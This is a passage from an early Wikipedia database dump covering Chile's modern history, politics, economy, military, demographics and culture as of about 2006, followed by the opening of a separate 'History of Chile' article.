[[Juan Perón|Perón]], to office for another 6 years. [[Jorge Alessandri]] succeeded Ibáñez in 1958, bringing Chilean conservatism back into power democratically for another term.

The [[1964]] presidential election of [[Christian Democratic Party of Chile| Christian Democrat]] [[Eduardo Frei Montalva]] by an absolute majority initiated a period of major reform. Under the slogan &quot;Revolution in Liberty,&quot; the Frei administration embarked on far-reaching social and economic programs, particularly in education, housing, and [[agrarian reform]], including rural unionization of agricultural workers. By 1967, however, Frei encountered increasing opposition from leftists, who charged that his reforms were inadequate, and from conservatives, who found them excessive. At the end of his term, Frei had accomplished many noteworthy objectives, but he had not fully achieved his party's ambitious goals.

In [[1970]], Senator [[Salvador Allende|Salvador Allende Gossens]], a Marxist physician and member of Chile's [[Socialist Party of Chile|Socialist Party]], who headed the &quot;[[Popular Unity]]&quot; (UP or &quot;Unidad Popular&quot;) coalition of the Socialist, Communist, Radical, and Social-Democratic Parties, along with dissident Christian Democrats, the Popular Unitary Action Movement ([[MAPU]]), and the Independent Popular Action, won a [[plurality]] of votes in a three-way contest. Despite pressure from the government of the United States, the [[National Congress of Chile|Chilean Congress]], keeping with tradition, conducted a runoff vote between the leading candidates, Allende and former president [[Jorge Alessandri]] and chose Allende by a vote of 153 to 35. Frei refused to form an alliance with Alessandri to oppose Allende, on the grounds that the Christian Democrats were a workers party and could not make common cause with the oligarchs.

Allende's program included advancement of workers' interests; a thoroughgoing implementation of agrarian reform; the reorganization of the national economy into socialized, mixed, and private sectors; a foreign policy of &quot;international solidarity&quot; and national independence; and a new institutional order (the &quot;people's state&quot; or &quot;poder popular&quot;), including the institution of a unicameral congress. The Popular Unity platform also called for nationalization of foreign (U.S.) ownership of Chile's major [[copper]] mines.

An [[economic depression]] that began in 1967 peaked in 1970, exacerbated by [[capital flight]], plummeting private investment, and withdrawal of bank deposits by those opposed to Allende's socialist program. Production fell and [[unemployment]] rose. Allende adopted measures including price freezes, wage increases, and tax reforms, which had the effect of increasing consumer spending and redistributing income downward. Joint public-private [[public works]] projects helped reduce unemployment. Much of the [[banking]] sector was [[nationalization|nationalized]]. Many enterprises within the [[copper]], [[coal]], [[iron]], [[nitrate]], and [[steel]] industries were [[expropriation|expropriated]], nationalized, or subjected to state intervention.  Industrial output increased sharply and unemployment fell during the Allende administration's first year.

Other reforms undertaken during the early Allende period included redistribution of millions of hectares of land to landless agricultural workers as part of the agrarian reform program, giving the armed forces an overdue pay increase, and providing free [[milk]] to children. The Indian Peoples Development Corporation and the Mapuche Vocational Institute were founded to address the needs of Chile's indigenous population.

The nationalization of U.S. and other foreign-owned companies led to increased tensions with the [[United States]]. The [[Richard Nixon|Nixon]] administration brought international financial pressure to bear in order to restrict economic credit to Chile. Simultaneously, the [[CIA]] funded opposition media, politicians, and organizations, helping to accelerate a campaign of domestic destabilization. By [[1972]], the economic progress of Allende's first year had been reversed and the economy was in crisis. Political polarization increased, and large mobilizations of both pro- and anti-government groups became frequent, often leading to clashes.

By early [[1973]], [[inflation]] was out of control. The crippled economy was further battered by prolonged and sometimes simultaneous [[strike action|strikes]] by physicians, teachers, students, truck owners, copper workers, and the small business class. A [[Chilean coup of 1973|military coup]] overthrew Allende on [[September 11]] [[1973]]. As the armed forces bombarded the [[Palacio de La Moneda|presidential palace]] (Palacio de La Moneda), Allende reportedly committed suicide. A military government, led by General [[Augusto Pinochet Ugarte]], took over control of the country. The first years of the regime were marked by serious [[human rights violation]]s. On October 1973, at least 70 persons were murdered by the [[Caravan of Death]]. At least a thousand people were executed during the first six months of Pinochet in office, and at least two thousand more were killed during the next sixteen years, as reported by the [[Valech Report]]. Some 30,000 were forced to flee the country. A new [[Constitution]] was approved by a highly irregular and undemocratic [[plebiscite]] characterized by the absence of registration lists, on [[September 11]] [[1980]], and General Pinochet became President of the Republic for an 8-year term. In the late 1980s, the regime gradually permitted greater freedom of assembly, [[Freedom of speech|speech]], and association, to include trade union and limited political activity. The right-wing military government pursued decidedly ''[[laissez-faire]]'' economic policies. During its nearly 17 years in power, Chile moved away from economic statism toward a largely [[free market economy]] that saw an increase in domestic and foreign private investment, although the copper industry and other important mineral resources were not returned to foreign ownership.  In a plebiscite on [[October 5]], [[1988]], General Pinochet was denied a second 8-year term as president.  Chileans elected a new president and the majority of members of a two-chamber congress on [[December 14]], [[1989]]. Christian Democrat [[Patricio Aylwin]], the candidate of a coalition of 16 political parties called the [[Concertation of Parties for Democracy|Concertación]], received an absolute majority of votes. President Aylwin served from 1990 to 1994, in what was considered a transition period.

In December [[1993]], Christian Democrat [[Eduardo Frei Ruiz-Tagle]], the son of previous president [[Eduardo Frei Montalva]], led the Concertación coalition to victory with an absolute majority of votes. President Frei's administration was inaugurated in March 1994.

A presidential election was held on [[December 12]], [[1999]], but none of the six candidates obtained a majority, which led to an unprecedented runoff election on [[January 16]], [[2000]] between [[Ricardo Lagos]] and [[Joaquín Lavín]] of the rightist [[Alliance for Chile]]. [[Ricardo Lagos|Ricardo Lagos Escobar]] of the Socialist Party led the Concertación coalition to a narrow victory, with 51.31% of the votes.  He was sworn in [[March 11]], [[2000]], for a 6-year term.

Chile's current president-elect is the former health and later defense minister [[Michelle Bachelet]], daughter of Alberto Bachelet, an air force general who was captured and tortured in the military coup of 1973 and died shortly after. Ms. Bachelet continues the center-left [[Coalition of Parties for Democracy]] government in their fourth term. She is the first and so far the only woman president in the country's history.  She won the [[2006]] runoff election against center-right candidate [[Sebastián Piñera]] after none of the four main candidates obtained the necessary 50% of the votes in the first round of voting.  Bachelet will be sworn in for a four-year term, instead of a six-year term, following reforms to the Constitution in 2005.

== Politics ==
{{main|Politics of Chile}}

Chile's [[Constitution of Chile|Constitution]] was approved in a tightly controlled national plebiscite in September 1980, under the [[military Junta|military]] [[government]] of [[Augusto Pinochet]]. It entered into force in March 1981. After Pinochet's defeat in the 1988 plebiscite, the Constitution was amended to ease provisions for future amendments to the Constitution. In 2005 over 50 reforms were approved, which eliminated the remaining undemocratic areas of the text, such as the existence of non-elected Senators (institutional senators, or senators for life) and the inability of the President to remove the Commander in Chief of the Armed Forces.

The President is currently elected by the people to a 4-year term, the term was reduced from 6 years in 2005 which was in turn reduced from 8 years in the original 1980 constitution.

Chile's bicameral [[Congress of Chile|Congress]] has a 48-seat [[Senate of Chile|Senate]]—38 elected, 9 appointed, 1 for life—and a 120-member [[Chamber of Deputies of Chile|Chamber of Deputies]]. Deputies are elected every 4 years. Senators serve for 8 years with staggered terms. The current Senate is evenly split 24-24 between pro-government and opposition Senators. Nine institutional senators were appointed in 1999, and two &quot;senators for life,&quot; former Presidents Pinochet (who resigned in 2002) and Eduardo Frei Ruiz-Tagle. (Chile's Constitution provided that former presidents who have served at least 6 years shall be entitled to a lifetime senate seat.) The last congressional elections were held in December 2001. The current lower house—the Chamber of Deputies—contains 60 members of the governing center-left coalition and 56 from the center-right opposition. Currently 4 Deputies have their voting rights suspended on legal grounds. The Congress is located in the port city of [[Valparaíso]], about 140 kilometers (84 mi.) west of the capital, [[Santiago, Chile|Santiago]].

Chile's congressional elections are governed by a unique binomial system that rewards coalition slates. Each coalition can run two candidates for the two Senate and two lower chamber seats apportioned to each chamber's electoral districts. Typically, the two largest coalitions split the seats in a district. Only if the leading coalition ticket out-polls the second-place coalition by a margin of more than 2-to-1 does the winning coalition gain both seats. In the 2001 congressional elections, the conservative [[Independent Democratic Union]] surpassed the [[Christian Democratic Party of Chile|Christian Democrats]] for the first time to become the largest party in the lower house. The [[Communist Party of Chile|Communist Party]] again failed to gain any seats in the 2001 elections.[[Image:Chile.geohive.gif|thumb|270px|right|[[Subnational|Administrative division]].]]

In 2005, both leading parties, the Christian Democrats and the UDI lost representation in favor of their allies Socialist Party (which became the biggest party in the Concertación block) and [[National Renewal (Chile)|National Renewal]] in the right-wing alliance. (''See'' [[Chilean presidential election, 2005]].) 

[[Michelle Bachelet]], a Socialist moderate, was elected President on [[January 15]], [[2006]], beating her closest rival [[Sebastián Piñera]].

Chile's judiciary is independent and includes a network of courts of appeals, a system of military courts, a constitutional tribunal, and the [[Supreme Court of Chile]]. Chile completed in mid-2005 a multi-year overhaul of its criminal justice system. The reform replaced inquisitorial proceedings with an adversarial system more similar to that of the [[United States]].

== Politico-administrative division ==
{{main|Regions of Chile}}

Chile is divided into 13 [[region]]s, each of which is headed by an ''intendente'' appointed by the President. Every region is further divided into [[province]]s with a ''Gobernador Provincial'', also appointed by the President. Finally each province  is divided into [[municipality|municipalities]].[http://www.gobiernodechile.cl/organigrama/organigrama.asp] which are sometimes refered to as [[comuna]]s, each with its own mayor, and [[councilor]]s, known as ''consejales'' elected by their inhabitants.

Each region is designated by a name and a [[Roman numeral]], assigned from north to south. In general, the Roman numeral is used, rather than the name. The only exception is the region where Santiago is situated, which is designated ''RM'', that stands for ''Región Metropolitana'', ''Metropolitan Region''.

In 2005, the Chilean congress passed a reform to create two new regions, one in the north, around the city of [[Arica]], and one in the south centered around [[Valdivia]] (aka Region of the Rivers). Being designated by numerals XIV and XV, both break the geographical numerical order from north to south. There is speculation that the numeral system will be dropped in favor of their formal names.

== Geography ==
{{main|Geography of Chile}}
[[Image:Volcan Osorno.jpg|thumb|left|Osorno volcano]]

A long and narrow coastal [[Southern Cone]] country on the west side of the [[Andes]] Mountains, Chile stretches over 4,630 [[kilometre]]s (2,880&amp;nbsp;[[mile|mi]]) north to south, but only 430 kilometres (265&amp;nbsp;mi) at its widest point east to west.

The northern [[Atacama]] desert contains great mineral wealth, primarily copper and [[nitrate]]s. The relatively small Central Valley, which includes Santiago, dominates the country in terms of population and agricultural resources. This area also is the historical center from which Chile expanded in the late 19th century, when it integrated the northern and southern regions. Southern Chile is rich in forests and grazing lands and features a string of [[volcano]]es and [[lake]]s. The southern coast is a labyrinth of [[fjord]]s, [[inlet]]s, [[canal]]s, twisting [[peninsula]]s, and [[island]]s. The Andes Mountains are located on the eastern border. Chile is the longest (N-S) country in the world (over 4,200&amp;nbsp;km&amp;nbsp;/&amp;nbsp;2,600&amp;nbsp;mi), and also claims 1,250,000 square kilometers (482,628&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]) of [[Antarctica]] as part of its territory.

Chile controls [[Easter Island|Easter]] and [[Sala-y-Gómez Island]]s, the easternmost islands of [[Polynesia]], which it incorporated to its territory in 1888, and [[Robinson Crusoe Island]], more than 600 kilometres (375&amp;nbsp;mi) from the mainland, in the [[Juan Fernández]] archipelago. Also controlled but uninhabited are the small islands of Sala y Gomez, San Ambrosio and San Felix, these islands are notable because they extend Chile's claim to territorial waters out from its coast into the Pacific.

== Economy ==
{{main|Economy of Chile}}

After a decade of impressive growth rates, Chile experienced a moderate downturn in 1999 brought on by the global economic slowdown. The economy remained sluggish until 2003, when it began to show clear signs of recovery, achieving 3.3% real [[Gross_domestic_product|GDP]] growth. The Chilean economy finished 2004 with growth of 6.1% and its economic growth in 2005 was 6.3%.

Chile has pursued generally sound economic policies for nearly three decades. The 1973-[[1990|90]] military government sold many state-owned companies, and the three democratic governments since 1990 have continued privatization at a slower pace. The government's role in the economy is mostly limited to regulation, although the state continues to operate copper giant [[Codelco]] and a few other enterprises. Chile is strongly committed to [[free trade]] and has welcomed large amounts of foreign investment. Chile has signed Free Trade agreements (FTAs) with several important economies, including an FTA with the United States, which was signed in 2003 and implemented in January 2004. High domestic savings and investment rates also helped propel Chile's economy to average growth rates of 8% during the 1990s. The privatized national [[pension]] system has encouraged domestic investment and contributed to an estimated total domestic savings rate of approximately 21% of GDP in 2003.

Unemployment has hovered in the 8%-10% range in recent years, well above the 5%-6% average for the 1990s. Unemployment remained at 8.8% at the end of 2004 in spite of strong economic growth. Wages have risen faster than inflation as a result of higher productivity, boosting national living standards. The share of Chileans with incomes below the poverty line--defined as twice the cost of satisfying a person's minimal nutritional needs--fell from 46% of the population in 1987 to 18.8% in 2003.

Chile's independent [[Central Bank]] pursues a policy of maintaining [[inflation]] between 2% and 4%. Inflation has not exceeded 5% since 1998. Chile registered inflation of 2.4% in 2004 and is expected to see a 2.5% increase in 2005. Most wage settlements and spending decisions are indexed, reducing inflation's volatility. Under the compulsory private pension system, most formal sector employees pay 10% of their salaries into privately managed funds.

Total foreign direct investment rose to $7.1 billion in 2004, up from $2.5 billion in 2003. Both foreign and domestic investment in Chile had declined during the country’s period of slower economic growth from 1999-2003, but appear to be recovering strongly. The Chilean Government committed, in early 2002, to undertake a series of [[microeconomy|microeconomic]] reforms designed to create new incentives for private investment. The government also has encouraged the use of Chile as an &quot;investment platform&quot; for multinational corporations planning to invest in the region. Chile's welcoming attitude toward foreign direct investment is codified in the country's Foreign Investment Law, which gives foreign investors the same treatment as Chileans. Registration is simple and transparent, and foreign investors are guaranteed access to the official foreign exchange market to repatriate their profits and capital. The U.S.-Chile Free Trade Agreement offers a number of other investor protections.

===Foreign Trade ===
Chile's economy is highly dependent on international trade. In 2004, exports accounted for about 34% of GDP. Chile has traditionally been dependent upon copper exports; the state-owned firm [[Codelco]] is the world's largest copper-producing company. Nontraditional exports have grown faster than those of copper and other minerals. In 1975, non-mineral exports made up just over 30% of total exports, whereas now they account for about 60%. The most important non-mineral exports are forestry and wood products, fresh [[fruit]] and processed [[food]], fishmeal and [[seafood]], and [[wine]]. The [[trade balance]] for 2005 showed a historic surplus $9,2 billion, slightly higher than 2004 and considerably higher than 2003. Total exports in 2005 were $39,4 billion, a 23.1% increase from $32 billion in 2004. Chile's export markets are fairly balanced among [[Europe]] (25.1%), [[Asia]] (33.1%), [[Latin America]] (15.7%), and [[North America]] (19%). The [[U.S.]], the largest national market, takes in 17.3% of Chile's exports. Asia has been the fastest-growing export market in recent years.

Chilean imports increased 31,7% in 2005, to $30,3 billion, reflecting a positive change in consumer demand and economic recovery. [[Capital goods]] made up about 66% of total imports. The United States represented 14.6% of Chilean imports in 2004. As a bloc, the [[European Union|European Union (EU)]] in 2004 supplied 16.3% of Chile's imports, while Argentina contributed 16%. Chile unilaterally lowered its across-the-board [[import tariff]] for all countries with which it does not have a trade agreement to 6% in 2003.

Higher effective tariffs are charged only on imports of wheat, wheat flour, and sugar as a result of a system of import price bands. The price bands were ruled inconsistent with Chile's [[WTO]] obligations in 2002 and the government has introduced legislation to modify them. Chile will have to phase out the price bands within 12 years under the terms of the U.S.-Chile FTA.

Successive Chilean governments have actively pursued liberalizing trade agreements. During the 1990s, Chile signed FTAs with [[Canada]], [[Mexico]], and [[Central America]]. Chile also concluded preferential trade agreements with [[Venezuela]], [[Colombia]], and [[Ecuador]]. An association agreement with [[Mercosur]]--[[Argentina]], [[Brazil]], [[Paraguay]], and [[Uruguay]]--went into effect in October 1996. Chile, a member of the [[Asia-Pacific Economic Cooperation]] ([[APEC]]) organization, is seeking to boost commercial ties to Asian markets. Continuing its export-oriented development strategy, Chile completed landmark free trade agreements in 2002 with the European Union and [[South Korea]]. After two years of negotiations, the United States and Chile signed an agreement in June 2003. The agreement will lead to completely duty free bilateral trade within 12 years. The U.S.-Chile FTA entered into force January 1, 2004 following approval by the U.S and Chilean congresses. Chile is a strong proponent of pressing ahead on negotiations for a [[Free Trade Area of the Americas]] (FTAA). Chile also has signed trade agreements with [[China]], as well as a four-party agreement with [[Singapore]], [[New Zealand]] and [[Brunei]] ([[Trans-Pacific Strategic Economic Partnership|P4]]).

===Finance ===
Chile's financial sector has grown faster than other areas of the economy over the last few years; a banking reform law approved in 1997 broadened the scope of permissible foreign activity for Chilean banks. The Chilean government implemented a further liberalization of capital markets in 2001. Chileans have enjoyed the recent introduction of new financial tools such as home equity loans, currency futures and options, factoring, leasing, and debit cards. The introduction of these new products has been accompanied by increased use of traditional instruments such as loans and credit cards. Chile's private pension system, with assets worth roughly $54 billion in late 2004, has provided an important source of investment capital for the capital market. Chile maintains one of the best credit ratings ([[Standard &amp; Poor's]] A+) of countries in Latin America. There are three main ways Chilean firms raise funds abroad: bank loans, bond issue, and the selling of stock on U.S. markets through American Depository Receipts (ADR's). Nearly all of the funds raised go to finance investment. The government is paying off its foreign debt. The combined public and private foreign debt was roughly over 50% of GDP at the end of 2004—low by Latin American standards.

==Defense==
{{main|Military of Chile}}

Chile's Armed Forces are subject to [[civilian control of the military|civilian control]] exercised by the President through the Minister of Defense. Under the 1980 Constitution, the services enjoyed considerable autonomy, and the President could not remove service commanders on his own authority. However, reforms made in 2005 to the Constitution now give the President the right to remove the Commanders in Chief of the Armed Forces.

===Army ===
The commander in chief of the Chilean Army is Maj. Gen. [[Juan Emilio Cheyre]]. The Chilean Army is 45,000 strong and is organized with an Army headquarters in [[Santiago, Chile|Santiago]], seven divisions throughout its territory, an Air Brigade in [[Rancagua]], and a [[Special Forces]] Command in Colina. It also operates [[Leopard I]] and [[AMX-30]] main battle tanks.negotiations are going on to buy 100 leopard 2A4 from the German Army. This because of the modernification plans for the army. The objectice is to upgrade most of the chilean army forces to NATO standard. The deployment of the army has also had some modifications. army infantry and armoured regiments have been re-equipped and joined with other units from the air-force and marine units , to form so called: re-enforced regiments. These re-enforced regiments are supposed to act as  fast deployment task forces. Chilean special forces are not trained in HALO jumping.

===Navy===
Adm. Rodolfo Codina Díaz directs the 25,000-person Navy, including 5,000 Marines. Of the fleet of 29 surface vessels, only six are operational major combatants (destroyers and frigates). Those ships are based in Valparaíso. The Navy operates its own aircraft for transport and patrol; there are no Navy fighter or bomber aircraft. The Navy also operates three submarines based in Talcahuano.

===Air Force (FACH)===
Gen. Osvaldo Sarabia heads a force of 12,500. Air assets are distributed among five air brigades headquartered in Iquique, Antofagasta, Santiago, Puerto Montt, and Punta Arenas. The Air Force also operates an airbase on [[King George Island]], [[Antarctica]]. The FACH will begin taking delivery of 10 U.S. [[F-16]] aircraft in 2006, and a contract for 18 used [[F-16]] more has been signed with Holland.

===Police Forces===
After the military coup in September 1973, the Chilean national police (Carabineros) were incorporated into the Defense Ministry. With the return of democratic government, the Carabineros were placed under the operational control of the Interior Ministry but remained under the nominal control of the Defense Ministry. Gen. Alberto Cienfuegos is the head of the national police force of 30,000 men and women who are responsible for law enforcement, traffic management, narcotics suppression, border control and counter-terrorism throughout Chile.

In addition to the Carabineros, who are part of the military, Chile also has the Policia de Investigaciones, a police force composed of civilians which is similar in purpose to the FBI. It is a special arm of the Public Ministry whose main task is to investigate crimes and apprehend the suspects once firm evidence has been established. Mr Arturo Herrera heads the Policia de Investigaciones. In addition to investigating crimes, the Policia de Investigaciones also complements the functions Carabineros in times of civil unrest, and is in charge of all immigration procedures. Although not a de-facto mandate in it's mission, the Policia de Investigaciones keeps an eye on the Carabineros in order to weed out corruption, Carabineros reciprocates the duty and both institutions have exposed corrupt officials within their counterpart.

==Foreign relations==

Since its return to democracy in 1990, Chile has been an active participant in the international political arena. Chile completed a 2-year non-permanent position on the UN Security Council in January 2005. Chile is an active member of the UN family of agencies and participates in UN peacekeeping activities. Chile hosted the Defense Ministerial of the Americas in 2002 and the [[APEC]] summit and related meetings in 2004. Chile hosted the Community of Democracies ministerial in April 2005. An associate member of Mercosur and a full member of APEC, Chile and has been an important actor on international economic issues and hemispheric free trade.

The Chilean Government has diplomatic relations with most countries. It settled its territorial disputes with Argentina during the 1990s. Chile and Bolivia severed diplomatic ties in 1978 over Bolivia's desire to reacquire territory it lost to Chile in 1879-83 [[War of the Pacific]]. The two countries maintain consular relations.

== Demographics ==
{{main|Demographics of Chile}}
[[Image:Chile-demography.png|300px|thumb|right|Population of Chile from 1950, projected up to 2050 (INE)]]

Most Chileans, 95% of them, are either White or White-Amerindian.[http://www.cia.gov/cia/publications/factbook/geos/ci.html#People]

People that self-identify solely as members of any of the country's many indigenous groups number around 700,000 individuals, or 3% of the country's total population. Of that 700,000, around 80% are [[Mapuche]] that reside mainly in the south-central area of the country. [[Aymara]] and [[Quechua|Quechua-speaking]] populations live along the northern border with Peru and Bolivia. There are also around 5,000 polynesian people who are indigenous to the Chilean territory of Easter Island ([[Rapanui]]) in the Pacific.

Throughout much of Chile's modern history there has been a slow but steady work related [[Andes|trans-Andean]] migration to Chile - primarily from [[Peru]] and [[Bolivia]] - due mostly to the economic situation of its neighbours. Peruvians have historically constituted the largest immigrant group of the country. However, Argentina's eventual [[Argentine economic crisis (1999-2002)|economic collapse in 2001]] caused such an escalation in their migratory influx into Chile, that by 2005 Argentinians comprised the largest immigrant group, outnumbering Peruvians. {{citationneeded}}

Chileans descended from non-Spanish European immigrants include an influential number of descendants of Irish immigrants which arrived in Chile during the Spanish colonial period and descendants of English immigrants, arrived during and after independence (mainly merchants and sailors). A government-sponsored immigration from Germany began in 1848, and in time, changed the cultural makeup of the southern provinces of [[Valdivia]], [[Llanquihue]], and [[Osorno]], which still show a strong German influence. Other historically significant immigrant groups include people of Italian ancestry ([[Valparaíso Region]]), Croatian ([[Antofagasta, Chile|Antofagasta]] and [[Punta Arenas, Chile|Punta Arenas]]), [[France|French]], and [[Poland|Polish]] backgrounds. There are also people from [[Middle East]]ern and [[North Africa]]n backgrounds, including the second largest [[Palestinian]] colony outside of the Middle East. In the last decade there has been an influx of [[Korea]]ns who settled in small sections of [[Santiago de Chile|Santiago]].

Although the combined number of immigrants never comprised a large segment of the population, they nevertheless contributed greatly to Chilean society and the development of the nation. Most retained their traditions, cultures and national affiliations by maintaining close-knit communities - although many also mixed into the majority - while at the same time co-existed peacefully with the host population.

About 85% of Chile's population lives in urban areas, with 40% living in [[Santiago de Chile|Greater Santiago]].

Chile's population growth is among the lowest in Latin America, at around 0.97%, it comes third only to [[Uruguay]] and [[Cuba]].

== Culture ==
[[Image:Pablo Neruda profile.jpg|150px|thumb|Pablo Neruda was Chile's second winner of the [[Nobel Prize in Literature]]]]
{{main|Culture of Chile}}

Northern Chile was an important center of culture in the medieval and early modern Inca empire. Afterwards, their culture was dominated by the Spanish during the Colonial and early Republican period. Other European influences, primarily English and French, began in the 19th century and have continued until today, as in other Western societies.

The national dance is the cueca. Another form of traditional Chilean song, though not a dance, is the tonada. Arising from music imported by the Spanish colonists, it is distinguished from the cueca by an intermediate melodic section and a more prominent melody. In the mid-1960s native musical forms were revitalized by the [[Parra family]] with the [[Nueva Canción|Nueva Canción Chilena]], which was associated with political activists and reformers.

Chileans call their country ''País de Poetas'' which means land of poets. [[Gabriela Mistral]], was the first Chilean to win a Nobel Prize for literature. Chile's most famous poet, however, is [[Pablo Neruda]], who also won the Nobel Prize and is world-renowned for his extensive library of works on romance, nature, and politics. His three highly individualistic homes, located in Isla Negra, Santiago and Valparaiso are popular tourist destinations. &lt;br clear=&quot;all&quot; /&gt;

==National symbols==
[[Image:Lapageria_rosea.jpg|150px|thumb|A red copihue]]

The national flower is the [[copihue]] (''Lapageria rosea'', Chilean bellflower), which grows in the woods of southern Chile.

[[Image:Chile_COA.jpg|thumb|left|Chile's Coat of Arms]]

The [[coat of arms]] depicts the two national animals: the [[condor]] (''Vultur gryphus'', a very large bird that lives in the mountains) and the [[huemul]] (''Hippocamelus bisulcus,'' an endangered white tail deer). It also has the legend ''Por la razón o la fuerza'' (''By right or might'' or ''By reason or by force'').
&lt;br clear=all /&gt;

== Miscellaneous topics ==
* [[Chile Antarctic Geopolitics]]
* [[Communications in Chile]]
* [[Elections in Chile]]
* [[Foreign relations of Chile]]
* [[Holidays in Chile]]
* [[List of Chilean companies]]
* [[List of Chileans]]
* [[List of Chilean television channels]]
* [[Transportation in Chile]]
* [[U.S. intervention in Chile]]
* [[Chilean pharmaceutical policy]]
* [[Chilean Spanish]]
* [[Chilean wine]]

== International rankings ==

===Overall===
* [[The Economist]]: [http://www.economist.com/theworldin/international/displayStory.cfm?story_id=3372495&amp;d=2005 The World in 2005 - Worldwide quality-of-life index, 2005], ranked 31 out of 111 countries (first in Latin America)
* [[UNDP]]: [[Human Development Index]] [http://hdr.undp.org/reports/global/2005/ 2005], ranked 37 out of 177 countries (second in Latin America after Argentina)

===Economy===
* [[Heritage Foundation]]/[[The Wall Street Journal]]: [http://www.heritage.org/research/features/index/ 2006] [[Index of Economic Freedom]], ranked 14 (free) out of 157 countries (first in Latin America)
* [[IMD International]]: [http://www01.imd.ch/wcy/ World Competitiveness Yearbook 2005], ranked 19 out of 60 economies (countries and regions) (first in Latin America)
* [[Fraser Institute]]: [[Economic Freedom of the World Index|Economic Freedom of the World]]: [http://www.freetheworld.com/ 2005 Annual Report], ranked 20 out of 127 countries (tied with Belgium, Costa Rica and Hungary) (first in Latin America)
* [[World Economic Forum]]: [http://www.weforum.org/site/homepublic.nsf/Content/Global+Competitiveness+Programme%5CGlobal+Competitiveness+Report Global Competitiveness Report 2005-2006 - Growth Competitiveness Index], ranked 23 out of 117 countries (first in Latin America)
* [[World Bank]]: [http://web.worldbank.org/WBSITE/EXTERNAL/NEWS/0,,contentMDK:20643669~pagePK:34370~piPK:34424~theSitePK:4607,00.html Where is the Wealth of Nations? (2005) - Total wealth per capita], ranked 32 out of 118 countries (fourth in Latin America after Argentina, Uruguay and Brazil)

===Other===
*[[Freedom House]]: [http://www.freedomhouse.org/research/survey2005.htm Freedom in the World 2005], average score: 1 (Free) (Costa Rica and Uruguay are the only two other Latin American countries with the highest score)
* [[Brown University]]: [http://www.brown.edu/Administration/News_Bureau/2005-06/05-024.html Fifth Annual Global E-Government Study (2005)], ranked 13 out of 198 countries (first in Latin America)
* [[Save the Children]]: [http://www.savethechildren.org/mothers/report_2005/ State of the World's Mothers 2005], ranked 17 out of 110 countries (tied with Argentina) (third in Latin America after Costa Rica and Cuba)
* [[Transparency International]]: [http://ww1.transparency.org/cpi/2005/cpi2005_infocus.html Corruption Perceptions Index 2005], ranked 21 out of 159 countries (tied with Japan) (first in Latin America)
* [[A.T. Kearney]]/[[Foreign Policy|Foreign Policy Magazine]]: [http://www.atkearney.com/main.taf?p=5,4,1,116 Globalization Index 2005], ranked 34 out of 62 countries (second in Latin America after Panama)
* [[World Economic Forum]]: [http://www.weforum.org/site/homepublic.nsf/Content/Global+Competitiveness+Programme%5CGlobal+Information+Technology+Report Global Information Technology Report 2004-2005 - Networked Readiness Index], ranked 35 out of 104 countries (first in Latin America)
* [[Yale University]]/[[Columbia University]]: [http://www.yale.edu/esi/ 2005 Environmental Sustainability Index], ranked 42 out of 146 countries (ninth in Latin America after Uruguay, Argentina, Brazil, Peru, Paraguay, Costa Rica, Bolivia, Colombia and Panama)
* [[Reporters without borders]]: [http://www.rsf.org/rubrique.php3?id_rubrique=554 Worldwide press freedom index 2005], ranked 50 out of 167 countries (fifth in Latin America after El Salvador, Costa Rica, Bolivia and Uruguay)

==References==

* [http://www.state.gov/r/pa/ei/bgn/1981.htm Bureau of Western Hemisphere Affairs], [[United States Department of State]], April 2005
* [http://lcweb2.loc.gov/frd/cs/cltoc.html Library of Congress country profile]
* [http://www.cia.gov/cia/publications/factbook/geos/ci.html The (CIA) World Factbook: Chile]

== External links ==
{{sisterlinks|Chile}}
=== Official resources ===
* [http://www.gobiernodechile.cl/ Gobierno] - Government ([http://www.chileangovernment.cl/ English version])
** [http://www.presidencia.cl/ Presidencia] - Presidency ([http://www.presidencyofchile.cl/ English version])
** [http://www.interior.cl/ Ministerio del Interior] - Interior Ministry
** [http://www.minrel.cl/ Ministerio de Relaciones Exteriores] - Ministry of Foreign Affairs
* [http://www.congreso.cl/ Congreso Nacional] - National Congress
** [http://www.senado.cl/ Senado] - Senate
** [http://www.camara.cl/ Cámara de Diputados] - Chamber of Deputies
** [http://www.bcn.cl/ Biblioteca del Congreso Nacional] - Library of National Congress
* [http://www.poderjudicial.cl/ Poder Judicial] - Judiciary
Economy
* [http://www.hacienda.gov.cl/ Ministry of Finance] - Ministry of Finance
* [http://www.bcentral.cl/ Central Bank] - Banco Central de Chile

=== General information ===
* [http://dmoz.org/Regional/South_America/Chile Open Directory Project - ''Chile''] directory category
* [http://www.latinbusinesschronicle.com/chile Chile Business Reports and Links, Latin Business Chronicle]
* {{wikitravel}}
* [http://www.chilebosque.cl Native flora species]
* [http://www.chilephoto.cl/cgi-bin/chilephoto/chilephoto.cgi Pictures]


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  </page>
  <page>
    <title>History of Chile</title>
    <id>5490</id>
    <revision>
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      <timestamp>2006-03-04T01:32:11Z</timestamp>
      <contributor>
        <ip>200.161.186.14</ip>
      </contributor>
      <comment>+sv, gl, it</comment>
      <text xml:space="preserve">This is the '''history of [[Chile]]'''. See also the [[history of South America]] and the [[history of present-day nations and states]].

==Early history==

Chilean territory was among the last to be populated in the Americas.

Pre-Hispanic Chile was home to over a dozen different indigenous peoples. Despite such diversity, it is possible to classify them into three major cultural groups: The northern peoples, who developed rich handicrafts and were influenced by [[Cultural periods of Peru|pre-Incan cultures]]; the [[Mapuche]] culture, who inhabited the area between the river Choapa and the island of [[Chiloé]], and lived primarily off agriculture; and the Patagonian culture, composed of various nomadic tribes, who supported themselves through fishing and hunting.

As the [[Inca Empire]] expanded it was only able to integrate the northern part of Chile. Incan attempts to colonize Central Chile were unsuccessful, having met fierce resistance by [[Mapuche]] warriors. The [[Lircay]] river subsequently became the boundary between the Incan empire and the Mapuche lands.

The first European to sight Chilean territory was [[Ferdinand Magellan]] who crossed the [[Strait of Magellan]] on [[November 1]], [[1521]]. However, the title of discoverer of Chile is usually assigned to [[Diego de Almagro]]. De Almagro was [[Francisco Pizarro]]'s partner, and he received command of the southern part of the Inca Empire ('''Nueva Toledo'''). He organized an expedition that brought him to central Chile in [[1537]], but he found little of value to compare with the gold and silver of the Incas in Peru. Left with the impression that the inhabitants of the area were poor, he returned to Peru, later to die in a Civil War.
[[Image:Pedro de Valdivia.jpg|thumb|right|217px|Pedro de Valdivia]]
